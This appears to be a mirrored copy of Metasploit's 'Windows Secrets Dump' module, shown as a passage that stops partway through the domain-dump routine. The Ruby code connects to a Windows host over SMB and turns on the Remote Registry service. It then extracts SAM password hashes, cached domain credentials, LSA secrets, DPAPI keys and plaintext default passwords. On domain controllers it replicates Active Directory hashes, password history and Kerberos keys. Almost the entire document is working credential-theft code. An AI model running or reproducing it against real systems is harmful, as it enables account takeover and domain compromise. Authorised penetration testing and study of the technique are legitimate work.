Share
## https://sploitus.com/exploit?id=PACKETSTORM:180680
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'ruby_smb/dcerpc/client'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client::Authenticated  
include Msf::Auxiliary::Report  
include Msf::Util::WindowsRegistry  
include Msf::Util::WindowsCryptoHelpers  
include Msf::OptionalSession::SMB  
  
# Mapping of MS-SAMR encryption keys to IANA Kerberos Parameter values  
#  
# @see RubySMB::Dcerpc::Samr::KERBEROS_TYPE  
# @see Rex::Proto::Kerberos::Crypto::Encryption  
# rubocop:disable Layout/HashAlignment  
SAMR_KERBEROS_TYPE_TO_IANA = {  
1 => Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_CRC,  
3 => Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_MD5,  
17 => Rex::Proto::Kerberos::Crypto::Encryption::AES128,  
18 => Rex::Proto::Kerberos::Crypto::Encryption::AES256,  
0xffffff74 => Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC  
}.freeze  
# rubocop:enable Layout/HashAlignment  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Windows Secrets Dump',  
'Description' => %q{  
Dumps SAM hashes and LSA secrets (including cached creds) from the  
remote Windows target without executing any agent locally. This is  
done by remotely updating the registry key security descriptor,  
taking advantage of the WriteDACL privileges held by local  
administrators to set temporary read permissions.  
  
This can be disabled by setting the `INLINE` option to false and the  
module will fallback to the original implementation, which consists  
in saving the registry hives locally on the target  
(%SYSTEMROOT%\Temp\<random>.tmp), downloading the temporary hive  
files and reading the data from it. This temporary files are removed  
when it's done.  
  
On domain controllers, secrets from Active Directory is extracted  
using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need  
to get SIDs, NTLM hashes, groups, password history, Kerberos keys and  
other interesting data. Note that the actual `NTDS.dit` file is not  
downloaded. Instead, the Directory Replication Service directly asks  
Active Directory through RPC requests.  
  
This modules takes care of starting or enabling the Remote Registry  
service if needed. It will restore the service to its original state  
when it's done.  
  
This is a port of the great Impacket `secretsdump.py` code written by  
Alberto Solino.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Alberto Solino', # Original Impacket code  
'Christophe De La Fuente', # MSF module  
'antuache' # Inline technique  
],  
'References' => [  
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],  
],  
'Notes' => {  
'Reliability' => [],  
'Stability' => [],  
'SideEffects' => [ IOC_IN_LOGS ]  
},  
'Actions' => [  
[ 'ALL', { 'Description' => 'Dump everything' } ],  
[ 'SAM', { 'Description' => 'Dump SAM hashes' } ],  
[ 'CACHE', { 'Description' => 'Dump cached hashes' } ],  
[ 'LSA', { 'Description' => 'Dump LSA secrets' } ],  
[ 'DOMAIN', { 'Description' => 'Dump domain secrets (credentials, password history, Kerberos keys, etc.)' } ]  
],  
'DefaultAction' => 'ALL'  
)  
)  
  
register_options(  
[  
Opt::RPORT(445),  
OptBool.new(  
'INLINE',  
[ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ],  
conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]]  
)  
]  
)  
  
@service_should_be_stopped = false  
@service_should_be_disabled = false  
end  
  
def enable_registry  
svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry')  
svc_status = @svcctl.query_service_status(svc_handle)  
case svc_status.dw_current_state  
when RubySMB::Dcerpc::Svcctl::SERVICE_RUNNING  
print_status('Service RemoteRegistry is already running')  
when RubySMB::Dcerpc::Svcctl::SERVICE_STOPPED  
print_status('Service RemoteRegistry is in stopped state')  
svc_config = @svcctl.query_service_config(svc_handle)  
if svc_config.dw_start_type == RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED  
print_status('Service RemoteRegistry is disabled, enabling it...')  
@svcctl.change_service_config_w(  
svc_handle,  
start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DEMAND_START  
)  
@service_should_be_disabled = true  
end  
print_status('Starting service...')  
@svcctl.start_service_w(svc_handle)  
@service_should_be_stopped = true  
else  
print_error('Unable to get the service RemoteRegistry state')  
end  
ensure  
@svcctl.close_service_handle(svc_handle) if svc_handle  
end  
  
def get_boot_key  
print_status('Retrieving target system bootKey')  
root_key_handle = @winreg.open_root_key('HKLM')  
  
boot_key = ''.b  
['JD', 'Skew1', 'GBG', 'Data'].each do |key|  
sub_key = "SYSTEM\\CurrentControlSet\\Control\\Lsa\\#{key}"  
vprint_status("Retrieving class info for #{sub_key}")  
subkey_handle = @winreg.open_key(root_key_handle, sub_key)  
query_info_key_response = @winreg.query_info_key(subkey_handle)  
boot_key << query_info_key_response.lp_class.to_s.encode(::Encoding::ASCII_8BIT)  
@winreg.close_key(subkey_handle)  
subkey_handle = nil  
ensure  
@winreg.close_key(subkey_handle) if subkey_handle  
end  
if boot_key.size != 32  
vprint_error("bootKey must be 16-bytes long (hex string of 32 chars), got \"#{boot_key}\" (#{boot_key.size} chars)")  
return ''.b  
end  
  
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]  
boot_key = [boot_key].pack('H*')  
boot_key = transforms.map { |i| boot_key[i] }.join  
print_good("bootKey: 0x#{boot_key.unpack('H*')[0]}") unless boot_key&.empty?  
boot_key  
ensure  
@winreg.close_key(root_key_handle) if root_key_handle  
end  
  
def check_lm_hash_not_stored  
vprint_status('Checking NoLMHash policy')  
res = @winreg.read_registry_key_value('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'NoLmHash', bind: false)  
if res == 1  
vprint_status('LMHashes are not being stored')  
@lm_hash_not_stored = true  
else  
vprint_status('LMHashes are being stored')  
@lm_hash_not_stored = false  
end  
rescue RubySMB::Dcerpc::Error::WinregError => e  
vprint_warning("An error occurred when checking NoLMHash policy: #{e}")  
end  
  
def save_registry_key(hive_name)  
vprint_status("Create #{hive_name} key")  
root_key_handle = @winreg.open_root_key('HKLM')  
new_key_handle = @winreg.create_key(root_key_handle, hive_name)  
  
file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.tmp"  
vprint_status("Save key to #{file_name}")  
@winreg.save_key(new_key_handle, "..\\Temp\\#{file_name}")  
file_name  
ensure  
@winreg.close_key(new_key_handle) if new_key_handle  
@winreg.close_key(root_key_handle) if root_key_handle  
end  
  
def retrieve_hive(hive_name)  
file_name = save_registry_key(hive_name)  
tree2 = simple.client.tree_connect("\\\\#{simple.address}\\ADMIN$")  
file = tree2.open_file(filename: "Temp\\#{file_name}", delete: true, read: true)  
file.read  
ensure  
file.delete if file  
file.close if file  
tree2.disconnect! if tree2  
end  
  
def save_sam  
print_status('Saving remote SAM database')  
retrieve_hive('SAM')  
end  
  
def save_security  
print_status('Saving remote SECURITY database')  
retrieve_hive('SECURITY')  
end  
  
def report_creds(  
user, hash, type: :ntlm_hash, jtr_format: '', realm_key: nil, realm_value: nil  
)  
service_data = {  
address: simple.address,  
port: simple.port,  
service_name: 'smb',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: hash,  
private_type: type,  
jtr_format: jtr_format,  
username: user  
}.merge(service_data)  
credential_data[:realm_key] = realm_key if realm_key  
credential_data[:realm_value] = realm_value if realm_value  
  
cl = create_credential_and_login(credential_data)  
cl.respond_to?(:core_id) ? cl.core_id : nil  
end  
  
def report_info(data, type = '')  
report_note(  
host: simple.address,  
port: simple.port,  
proto: 'tcp',  
sname: 'smb',  
type: type,  
data: data,  
update: :unique_data  
)  
end  
  
def dump_sam_hashes(windows_reg, boot_key)  
print_status('Dumping SAM hashes')  
vprint_status('Calculating HashedBootKey from SAM')  
hboot_key = windows_reg.get_hboot_key(boot_key)  
unless hboot_key.present?  
print_warning('Unable to get hbootKey')  
return  
end  
users = windows_reg.get_user_keys  
users.each do |rid, user|  
user[:hashnt], user[:hashlm] = decrypt_user_key(hboot_key, user[:V], rid)  
end  
  
print_status('Password hints:')  
hint_count = 0  
users.keys.sort { |a, b| a <=> b }.each do |rid|  
# If we have a hint then print it  
next unless !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?  
  
hint = "#{users[rid][:Name]}: \"#{users[rid][:UserPasswordHint]}\""  
report_info(hint, 'user.password_hint')  
print_line(hint)  
hint_count += 1  
end  
print_line('No users with password hints on this system') if hint_count == 0  
  
print_status('Password hashes (pwdump format - uid:rid:lmhash:nthash:::):')  
users.keys.sort { |a, b| a <=> b }.each do |rid|  
hash = "#{users[rid][:hashlm].unpack('H*')[0]}:#{users[rid][:hashnt].unpack('H*')[0]}"  
unless report_creds(users[rid][:Name], hash)  
vprint_bad("Error when reporting #{users[rid][:Name]} hash")  
end  
print_line("#{users[rid][:Name]}:#{rid}:#{hash}:::")  
end  
end  
  
def get_lsa_secret_key(windows_reg, boot_key)  
print_status('Decrypting LSA Key')  
lsa_key = windows_reg.lsa_secret_key(boot_key)  
  
vprint_good("LSA key: #{lsa_key.unpack('H*')[0]}")  
  
if windows_reg.lsa_vista_style  
vprint_status('Vista or above system')  
else  
vprint_status('XP or below system')  
end  
  
return lsa_key  
end  
  
def get_nlkm_secret_key(windows_reg, lsa_key)  
print_status('Decrypting NL$KM')  
  
windows_reg.nlkm_secret_key(lsa_key)  
end  
  
def dump_cached_hashes(windows_reg, nlkm_key)  
print_status('Dumping cached hashes')  
  
cache_infos = windows_reg.cached_infos(nlkm_key)  
if cache_infos.nil? || cache_infos.empty?  
print_warning('No cashed entries.')  
if datastore['INLINE']  
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')  
end  
return  
end  
  
hashes = ''  
cache_infos.each do |cache_info|  
vprint_status("Looking into #{cache_info.name}")  
  
next unless cache_info.entry.user_name_length > 0  
  
vprint_status("Reg entry: #{cache_info.entry.to_hex}")  
vprint_status("Encrypted data: #{cache_info.entry.enc_data.to_hex}")  
vprint_status("IV: #{cache_info.entry.iv.to_hex}")  
  
vprint_status("Decrypted data: #{cache_info.data.to_hex}")  
  
username = cache_info.data.username.encode(::Encoding::UTF_8)  
info = []  
info << ("Username: #{username}")  
if cache_info.iteration_count  
info << ("Iteration count: #{cache_info.iteration_count} -> real #{cache_info.real_iteration_count}")  
end  
info << ("Last login: #{cache_info.entry.last_access.to_time}")  
dns_domain_name = cache_info.data.dns_domain_name.encode(::Encoding::UTF_8)  
info << ("DNS Domain Name: #{dns_domain_name}")  
info << ("UPN: #{cache_info.data.upn.encode(::Encoding::UTF_8)}")  
info << ("Effective Name: #{cache_info.data.effective_name.encode(::Encoding::UTF_8)}")  
info << ("Full Name: #{cache_info.data.full_name.encode(::Encoding::UTF_8)}")  
info << ("Logon Script: #{cache_info.data.logon_script.encode(::Encoding::UTF_8)}")  
info << ("Profile Path: #{cache_info.data.profile_path.encode(::Encoding::UTF_8)}")  
info << ("Home Directory: #{cache_info.data.home_directory.encode(::Encoding::UTF_8)}")  
info << ("Home Directory Drive: #{cache_info.data.home_directory_drive.encode(::Encoding::UTF_8)}")  
info << ("User ID: #{cache_info.entry.user_id}")  
info << ("Primary Group ID: #{cache_info.entry.primary_group_id}")  
info << ("Additional groups: #{cache_info.data.groups.map(&:relative_id).join(' ')}")  
logon_domain_name = cache_info.data.logon_domain_name.encode(::Encoding::UTF_8)  
info << ("Logon domain name: #{logon_domain_name}")  
  
report_info(info.join('; '), 'user.cache_info')  
vprint_line(info.join("\n"))  
  
credential_opts = {  
type: :nonreplayable_hash,  
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,  
realm_value: logon_domain_name  
}  
if windows_reg.lsa_vista_style  
jtr_hash = "$DCC2$#{cache_info.real_iteration_count}##{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"  
else  
jtr_hash = "M$#{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"  
end  
credential_opts[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(jtr_hash)  
unless report_creds("#{logon_domain_name}\\#{username}", jtr_hash, **credential_opts)  
vprint_bad("Error when reporting #{logon_domain_name}\\#{username} hash (#{credential_opts[:jtr_format]} format)")  
end  
hashes << "#{logon_domain_name}\\#{username}:#{jtr_hash}\n"  
end  
  
if hashes.empty?  
print_line('No cached hashes on this system')  
else  
print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{windows_reg.lsa_vista_style ? 'mscash2' : 'mscash'}' format")  
print_line(hashes)  
end  
end  
  
def get_service_account(service_name)  
return nil unless @svcctl  
  
vprint_status("Getting #{service_name} service account")  
svc_handle = @svcctl.open_service_w(@scm_handle, service_name)  
svc_config = @svcctl.query_service_config(svc_handle)  
return nil if svc_config.lp_service_start_name == :null  
  
svc_config.lp_service_start_name.to_s  
rescue RubySMB::Dcerpc::Error::SvcctlError => e  
vprint_warning("An error occurred when getting #{service_name} service account: #{e}")  
return nil  
ensure  
@svcctl.close_service_handle(svc_handle) if svc_handle  
end  
  
def get_default_login_account  
vprint_status('Getting default login account')  
begin  
username = @winreg.read_registry_key_value(  
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',  
'DefaultUserName',  
bind: false  
)  
rescue RubySMB::Dcerpc::Error::WinregError => e  
vprint_warning("An error occurred when getting the default user name: #{e}")  
return nil  
end  
return nil if username.nil? || username.empty?  
  
username = username.encode(::Encoding::UTF_8)  
  
begin  
domain = @winreg.read_registry_key_value(  
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',  
'DefaultDomainName',  
bind: false  
)  
rescue RubySMB::Dcerpc::Error::WinregError => e  
vprint_warning("An error occurred when getting the default domain name: #{e}")  
domain = ''  
end  
username = "#{domain.encode(::Encoding::UTF_8)}\\#{username}" unless domain.nil? || domain.empty?  
username  
end  
  
# Returns Kerberos salt for the current connection if we have the correct information  
def get_machine_kerberos_salt  
host = simple.client.default_name  
return ''.b if host.nil? || host.empty?  
  
domain = simple.client.dns_domain_name  
"#{domain.upcase}host#{host.downcase}.#{domain.downcase}".b  
end  
  
# @return [Array[Hash{String => String}]]  
def get_machine_kerberos_keys(raw_secret, _machine_name)  
vprint_status('Calculating machine account Kerberos keys')  
# Attempt to create Kerberos keys from machine account (if possible)  
secret = []  
salt = get_machine_kerberos_salt  
if salt.empty?  
vprint_error('Unable to get the salt')  
return []  
end  
  
raw_secret_utf_16le = raw_secret.dup.force_encoding(::Encoding::UTF_16LE)  
raw_secret_utf8 = raw_secret_utf_16le.encode(::Encoding::UTF_8, invalid: :replace).b  
  
secret << {  
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,  
key: aes256_cts_hmac_sha1_96(raw_secret_utf8, salt),  
salt: salt  
}  
  
secret << {  
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128,  
key: aes128_cts_hmac_sha1_96(raw_secret_utf8, salt),  
salt: salt  
}  
  
secret << {  
enctype: Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_MD5,  
key: des_cbc_md5(raw_secret_utf8, salt),  
salt: salt  
}  
  
secret << {  
enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC,  
key: OpenSSL::Digest::MD4.digest(raw_secret),  
salt: nil  
}  
  
secret  
end  
  
def print_secret(name, secret_item)  
if secret_item.nil? || secret_item.empty?  
vprint_status("Discarding secret #{name}, NULL Data")  
return  
end  
  
if secret_item.start_with?("\x00\x00".b)  
vprint_status("Discarding secret #{name}, all zeros")  
return  
end  
  
upper_name = name.upcase  
print_line(name.to_s)  
  
secret = ''  
if upper_name.start_with?('_SC_')  
# Service name, a password might be there  
# We have to get the account the service runs under  
account = get_service_account(name[4..])  
if account  
secret = "#{account.encode(::Encoding::UTF_8)}:"  
else  
secret = '(Unknown User): '  
end  
secret << secret_item  
elsif upper_name.start_with?('DEFAULTPASSWORD')  
# We have to get the account this password is for  
account = get_default_login_account || '(Unknown User)'  
password = secret_item.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)  
unless report_creds(account, password, type: :password)  
vprint_bad("Error when reporting #{account} default password")  
end  
secret << "#{account}: #{password}"  
elsif upper_name.start_with?('ASPNET_WP_PASSWORD')  
secret = "ASPNET: #{secret_item}"  
elsif upper_name.start_with?('DPAPI_SYSTEM')  
# Decode the DPAPI Secrets  
machine_key = secret_item[4, 20]  
user_key = secret_item[24, 20]  
report_info(machine_key.unpack('H*')[0], 'dpapi.machine_key')  
report_info(user_key.unpack('H*')[0], 'dpapi.user_key')  
secret = "dpapi_machinekey: 0x#{machine_key.unpack('H*')[0]}\ndpapi_userkey: 0x#{user_key.unpack('H*')[0]}"  
elsif upper_name.start_with?('$MACHINE.ACC')  
md4 = OpenSSL::Digest::MD4.digest(secret_item)  
machine, domain, dns_domain_name = get_machine_name_and_domain_info  
print_name = "#{domain}\\#{machine}$"  
ntlm_hash = "#{Net::NTLM.lm_hash('').unpack('H*')[0]}:#{md4.unpack('H*')[0]}"  
secret_ary = ["#{print_name}:#{ntlm_hash}:::"]  
credential_opts = {  
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,  
realm_value: dns_domain_name  
}  
unless report_creds(print_name, ntlm_hash, **credential_opts)  
vprint_bad("Error when reporting #{print_name} NTLM hash")  
end  
  
raw_passwd = secret_item.unpack('H*')[0]  
credential_opts[:type] = :password  
unless report_creds(print_name, raw_passwd, **credential_opts)  
vprint_bad("Error when reporting #{print_name} raw password hash")  
end  
secret = "#{print_name}:plain_password_hex:#{raw_passwd}\n"  
  
machine_kerberos_keys = get_machine_kerberos_keys(secret_item, print_name)  
if machine_kerberos_keys.empty?  
vprint_status('Could not calculate machine account Kerberos keys')  
else  
credential_opts[:type] = :krb_enc_key  
machine_kerberos_keys.each do |key|  
key_data = Metasploit::Credential::KrbEncKey.build_data(**key)  
unless report_creds(print_name, key_data, **credential_opts)  
vprint_bad("Error when reporting #{print_name} machine kerberos key #{krb_enc_key_to_s(key)}")  
end  
end  
end  
  
secret << machine_kerberos_keys.map { |key| "#{print_name}:#{krb_enc_key_to_s(key)}" }.concat(secret_ary).join("\n")  
end  
  
if secret.empty?  
print_line(Rex::Text.to_hex_dump(secret_item).strip)  
print_line("Hex string: #{secret_item.unpack('H*')[0]}")  
else  
print_line(secret)  
end  
print_line  
end  
  
def dump_lsa_secrets(windows_reg, lsa_key)  
print_status('Dumping LSA Secrets')  
  
lsa_secrets = windows_reg.lsa_secrets(lsa_key)  
if lsa_secrets.empty?  
print_warning('No LSA secrets to dump')  
if datastore['INLINE']  
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')  
end  
end  
lsa_secrets.each do |key, secret|  
print_secret(key, secret)  
end  
end  
  
def get_machine_name_and_domain_info  
if simple.client&.default_name.blank?  
begin  
vprint_status('Getting Server Info')  
wkssvc = @tree.open_file(filename: 'wkssvc', write: true, read: true)  
  
vprint_status('Binding to \\wkssvc...')  
wkssvc.bind(endpoint: RubySMB::Dcerpc::Wkssvc)  
vprint_status('Bound to \\wkssvc')  
  
info = wkssvc.netr_wksta_get_info  
rescue RubySMB::Error::RubySMBError => e  
print_error("Error when connecting to 'wkssvc' interface ([#{e.class}] #{e}).")  
return  
end  
return [info[:wki100_computername].encode('utf-8'), info[:wki100_langroup].encode('utf-8'), datastore['SMBDomain']]  
end  
[simple.client.default_name, simple.client.default_domain, simple.client.dns_domain_name]  
end  
  
def connect_samr(domain_name)  
vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')  
@samr = @tree.open_file(filename: 'samr', write: true, read: true)  
  
vprint_status('Binding to \\samr...')  
@samr.bind(endpoint: RubySMB::Dcerpc::Samr)  
vprint_good('Bound to \\samr')  
  
@server_handle = @samr.samr_connect  
@domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain_name)  
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: @domain_sid)  
  
builtin_domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: 'Builtin')  
@builtin_domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: builtin_domain_sid)  
end  
  
def get_domain_users  
users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle)  
vprint_status("Obtained #{users.length} domain users, fetching the SID for each...")  
progress_interval = 250  
nb_digits = (Math.log10(users.length) + 1).floor  
users = users.each_with_index.map do |(rid, name), index|  
if index % progress_interval == 0  
percent = format('%.2f', (index / users.length.to_f * 100)).rjust(5)  
print_status("SID enumeration progress - #{index.to_s.rjust(nb_digits)} / #{users.length} (#{percent}%)")  
end  
sid = @samr.samr_rid_to_sid(object_handle: @domain_handle, rid: rid)  
[sid.to_s, name.to_s]  
end  
print_status("SID enumeration progress - #{users.length} / #{users.length} ( 100%)")  
users  
rescue RubySMB::Error::RubySMBError => e  
print_error("Error when enumerating domain users ([#{e.class}] #{e}).")  
return  
end  
  
def get_user_groups(sid)  
user_handle = nil  
rid = sid.split('-').last.to_i  
  
user_handle = @samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)  
groups = @samr.samr_get_group_for_user(user_handle: user_handle)  
groups = groups.map do |group|  
RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group.relative_id.to_i}")  
end  
  
alias_groups = @samr.samr_get_alias_membership(domain_handle: @domain_handle, sids: groups + [sid])  
alias_groups = alias_groups.map do |group|  
RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group}")  
end  
  
builtin_alias_groups = @samr.samr_get_alias_membership(domain_handle: @builtin_domain_handle, sids: groups + [sid])  
builtin_alias_groups = builtin_alias_groups.map do |group|  
RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group}")  
end  
groups + alias_groups + builtin_alias_groups  
ensure  
@samr.close_handle(user_handle) if user_handle  
end  
  
def connect_drs  
dcerpc_client = RubySMB::Dcerpc::Client.new(  
simple.address,  
RubySMB::Dcerpc::Drsr,  
username: datastore['SMBUser'],  
password: datastore['SMBPass']  
)  
  
auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_WINNT  
if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS  
fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank?  
fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank?  
fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank?  
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes'])  
fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty?  
  
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new(  
host: datastore['DomainControllerRhost'],  
hostname: datastore['Smb::Rhostname'],  
proxies: datastore['Proxies'],  
realm: datastore['SMBDomain'],  
username: datastore['SMBUser'],  
password: datastore['SMBPass'],  
framework: framework,  
framework_module: self,  
cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'],  
mutual_auth: true,  
dce_style: true,  
use_gss_checksum: true,  
ticket_storage: kerberos_ticket_storage,  
offered_etypes: offered_etypes  
)  
  
dcerpc_client.extend(Msf::Exploit::Remote::DCERPC::KerberosAuthentication)  
dcerpc_client.kerberos_authenticator = kerberos_authenticator  
auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_GSS_NEGOTIATE  
end  
  
dcerpc_client.connect  
vprint_status('Binding to DRSR...')  
dcerpc_client.bind(  
endpoint: RubySMB::Dcerpc::Drsr,  
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,  
auth_type: auth_type  
)  
vprint_status('Bound to DRSR')  
  
dcerpc_client  
rescue RubySMB::Dcerpc::Error::DcerpcError, ArgumentError => e  
print_error("Unable to bind to the directory replication remote service (DRS): #{e}")  
return  
end  
  
def decrypt_supplemental_info(dcerpc_client, result, attribute_value)  
result[:kerberos_keys] = []  
result[:clear_text_passwords] = {}  
plain_text = dcerpc_client.decrypt_attribute_value(attribute_value)  
user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text)  
user_properties.user_properties.each do |user_property|  
case user_property.property_name.encode('utf-8')  
when 'Primary:Kerberos-Newer-Keys'  
value = user_property.property_value  
binary_value = value.chars.each_slice(2).map { |a, b| (a + b).hex.chr }.join  
kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value)  
key_values = kerb_stored_credential_new.get_key_values  
kerb_stored_credential_new.credentials.each_with_index do |credential, i|  
# Extract the kerberos keys, note that the enctype here is a RubySMB::Dcerpc::Samr::KERBEROS_TYPE  
# not the IANA Kerberos value, which is required for database persistence  
result[:kerberos_keys] << {  
enctype: credential.key_type.to_i,  
key: key_values[i]  
}  
end  
when 'Primary:CLEARTEXT'  
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property  
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.  
begin  
result[:clear_text_passwords] << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8')  
rescue EncodingError  
# This could be because we're decoding a machine password. Printing it hex  
# Keep clear_text_passwords with a ASCII-8BIT encoding  
result[:clear_text_passwords] << user_property.property_value.to_s  
end  
end  
end  
end  
  
def parse_user_record(dcerpc_client, user_record)  
vprint_status("Decrypting hash for user: #{user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..].join.encode('utf-8')}")  
  
entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf  
rid = entinf_struct.p_name.sid[-4..].unpack('L<').first  
dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..].join.encode('utf-8')  
  
result = {  
dn: dn,  
rid: rid,  
object_sid: rid,  
lm_hash: Net::NTLM.lm_hash(''),  
nt_hash: Net::NTLM.ntlm_hash(''),  
disabled: nil,  
pwd_last_set: nil,  
last_logon: nil,  
expires: nil,  
computer_account: nil,  
password_never_expires: nil,  
password_not_required: nil,  
lm_history: [],  
nt_history: [],  
domain_name: '',  
username: 'unknown',  
admin: false,  
domain_admin: false,  
enterprise_admin: false  
}  
  
entinf_struct.attr_block.p_attr.each do |attr|  
next unless attr.attr_val.val_count > 0  
  
att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ)  
lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID  
  
attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join  
case att_id  
when lookup_table['dBCSPwd']  
encrypted_lm_hash = dcerpc_client.decrypt_attribute_value(attribute_value)  
result[:lm_hash] = dcerpc_client.remove_des_layer(encrypted_lm_hash, rid)  
when lookup_table['unicodePwd']  
encrypted_nt_hash = dcerpc_client.decrypt_attribute_value(attribute_value)  
result[:nt_hash] = dcerpc_client.remove_des_layer(encrypted_nt_hash, rid)  
when lookup_table['userPrincipalName']  
result[:domain_name] = attribute_value.force_encoding('utf-16le').split('@'.encode('utf-16le')).last.encode('utf-8')  
when lookup_table['sAMAccountName']  
result[:username] = attribute_value.force_encoding('utf-16le').encode('utf-8')  
when lookup_table['objectSid']  
result[:object_sid] = attribute_value  
when lookup_table['userAccountControl']  
user_account_control = attribute_value.unpack('L<')[0]  
result[:disabled] = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0  
result[:computer_account] = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0  
result[:password_never_expires] = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0  
result[:password_not_required] = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0  
when lookup_table['pwdLastSet']  
result[:pwd_last_set] = Time.at(0)  
time_value = attribute_value.unpack('Q<')[0]  
if time_value > 0  
result[:pwd_last_set] = RubySMB::Field::FileTime.new(time_value).to_time.utc  
end  
when lookup_table['lastLogonTimestamp']  
result[:last_logon] = Time.at(0)  
time_value = attribute_value.unpack('Q<')[0]  
if time_value > 0  
result[:last_logon] = RubySMB::Field::FileTime.new(time_value).to_time.utc  
end  
when lookup_table['accountExpires']  
result[:expires] = Time.at(0)  
time_value = attribute_value.unpack('Q<')[0]  
if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF  
result[:expires] = RubySMB::Field::FileTime.new(time_value).to_time.utc  
end  
when lookup_table['lmPwdHistory']  
tmp_lm_history = dcerpc_client.decrypt_attribute_value(attribute_value)  
tmp_lm_history.bytes.each_slice(16) do |block|  
result[:lm_history] << dcerpc_client.remove_des_layer(block.map(&:chr).join, rid)  
end  
when lookup_table['ntPwdHistory']  
tmp_nt_history = dcerpc_client.decrypt_attribute_value(attribute_value)  
tmp_nt_history.bytes.each_slice(16) do |block|  
result[:nt_history] << dcerpc_client.remove_des_layer(block.map(&:chr).join, rid)  
end  
when lookup_table['supplementalCredentials']  
decrypt_supplemental_info(dcerpc_client, result, attribute_value)  
end  
end  
  
result  
end  
  
def dump_ntds_hashes  
_machine_name, domain_name, dns_domain_name = get_machine_name_and_domain_info  
return unless domain_name  
  
print_status('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')  
print_status('Using the DRSUAPI method to get NTDS.DIT secrets')  
  
begin  
connect_samr(domain_name)  
rescue RubySMB::Error::RubySMBError => e  
print_error(  
